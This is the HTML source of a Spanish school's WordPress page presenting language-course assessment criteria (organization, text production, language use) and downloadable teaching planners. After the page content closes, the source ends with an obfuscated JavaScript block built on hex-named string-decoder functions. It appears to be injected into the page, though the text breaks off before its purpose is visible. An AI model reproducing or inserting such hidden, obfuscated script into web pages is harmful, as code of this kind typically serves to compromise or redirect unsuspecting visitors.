class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio B: Organizaci\u00f3n<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar estructuras organizativas adecuadas al contexto y la intenci\u00f3n<\/li>\n\n\n\n<li>Organizar opiniones e ideas de manera constante, coherente y l\u00f3gica<\/li>\n\n\n\n<li>Usar herramientas de formato y de inclusi\u00f3n de referencias para crear un estilo de presentaci\u00f3n adecuado al contexto y la intenci\u00f3n<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio C: Producci\u00f3n de textos<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Producir textos que demuestren agudeza, imaginaci\u00f3n y sensibilidad, al mismo tiempo que se exploran y analizan de forma cr\u00edtica nuevas perspectivas e ideas derivadas del trabajo personal en el proceso creativo<\/li>\n\n\n\n<li>Realizar elecciones de estilo en t\u00e9rminos de recursos ling\u00fc\u00edsticos, literarios y visuales, demostrando conocer el efecto generado en el destinatario<\/li>\n\n\n\n<li>Seleccionar detalles y ejemplos pertinentes para desarrollar ideas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n\n\n\n<details class=\"wp-block-themeisle-blocks-accordion-item\"><summary class=\"wp-block-themeisle-blocks-accordion-item__title\"><div>Criterio D: Uso de la lengua<\/div><\/summary><div class=\"wp-block-themeisle-blocks-accordion-item__content\">\n<ol class=\"wp-block-list\">\n<li>Usar un vocabulario, estructuras sint\u00e1cticas y formas de expresi\u00f3n apropiados y variados<\/li>\n\n\n\n<li>Escribir y hablar empleando un registro y un estilo adecuados al contexto y la intenci\u00f3n<\/li>\n\n\n\n<li>Usar una gram\u00e1tica, sintaxis y puntuaci\u00f3n correctas<\/li>\n\n\n\n<li>Usar una ortograf\u00eda (en las lenguas de escritura fon\u00e9tica) o caligraf\u00eda (en las lenguas de escritura ideogr\u00e1fica) y pronunciaci\u00f3n precisas<\/li>\n\n\n\n<li>Usar t\u00e9cnicas de comunicaci\u00f3n no verbal apropiadas<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Calificaci\u00f3n m\u00e1xima: 8.<\/em><\/p>\n<\/div><\/details>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);px\"><span class=\"ez-toc-section\" id=\"Plantillas_de_planificadores\"><\/span>Plantillas de planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<div class=\"wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button is-style-outline is-style-outline--2\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/docs.google.com\/document\/d\/14db9ZXYz0vK0CCb8d_IhVAKNNrnMLgF4eY5wjiuUGyA\/copy\" target=\"_blank\" rel=\"noreferrer noopener\">1\u00ba ESO (2\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--3\"><a class=\"wp-block-button__link wp-element-button\">2\u00ba ESO (3\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--4\"><a class=\"wp-block-button__link wp-element-button\">3\u00ba ESO (4\u00ba PAI)<\/a><\/div>\n\n\n\n<div class=\"wp-block-button is-style-outline is-style-outline--5\"><a class=\"wp-block-button__link wp-element-button\">4\u00ba ESO (5\u00ba PAI)<\/a><\/div>\n<\/div>\n\n\n\n<h1 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.488), 18px);\"><span class=\"ez-toc-section\" id=\"Planificadores\"><\/span>Planificadores<span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Estos planificadores son fruto del trabajo de profesores del IES Rosa Chacel. Por definici\u00f3n estos documentos de planificaci\u00f3n del trabajo de aula est\u00e1n vivos, por lo que la versi\u00f3n publicada no es nunca la versi\u00f3n actual. Publicamos nuestros planificadores con la intenci\u00f3n de que resulten \u00fatiles a otros docentes. Agradecemos cualquier observaci\u00f3n que pueda mejorar nuestro trabajo o animarnos a continuar: estamos en <a rel=\"noreferrer noopener\" href=\"mailto:pai@iesrosachacel.org\" target=\"_blank\">pai@iesrosachacel.org<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" style=\"font-size:clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.244), 16px);\"><span class=\"ez-toc-section\" id=\"1o_ESO_2o_PAI-2\"><\/span>1\u00ba ESO (2\u00ba PAI)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/Te-digo-donde-estoy-y-sabras-como-soy-1024x724.jpg\" alt=\"\" class=\"wp-image-699 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/Te-digo-donde-estoy-y-sabras-como-soy-1024x724.jpg 1024w, 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class=\"has-large-font-size wp-block-paragraph\">Te digo d\u00f3nde estoy y sabr\u00e1s c\u00f3mo soy<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La palabra y la imagen son la llave para que el emisor y el destinatario puedan integrarse en cualquier situaci\u00f3n nueva.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/04\/Te-digo-donde-estoy-y-sabras-como-soy.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Descarga<\/a><\/p>\n<\/div><\/div>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"http:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2022\/03\/La-Liga-de-la-Justicia-Lirica-para-publicar-1024x724.jpg\" alt=\"La Liga de la Justicia L\u00edrica\" class=\"wp-image-597 size-full\" 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src=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-1024x724.jpg\" alt=\"\" class=\"wp-image-839 size-full\" srcset=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-1024x724.jpg 1024w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-300x212.jpg 300w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-768x543.jpg 768w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-1000x707.jpg 1000w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-230x163.jpg 230w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-350x248.jpg 350w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar-480x340.jpg 480w, https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ver-oir-y-hablar.jpg 1169w\" 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wp-block-paragraph\">Ludogram\u00e1ticos<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Jugar con la gram\u00e1tica permite perfeccionarla para garantizar una comunicaci\u00f3n eficaz en la expresi\u00f3n personal y en el uso social.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/iesrosachacel.net\/pai_dev\/wp-content\/uploads\/2023\/01\/Ludogramaticos.pdf\">Descarga<\/a><\/p>\n<\/div><\/div>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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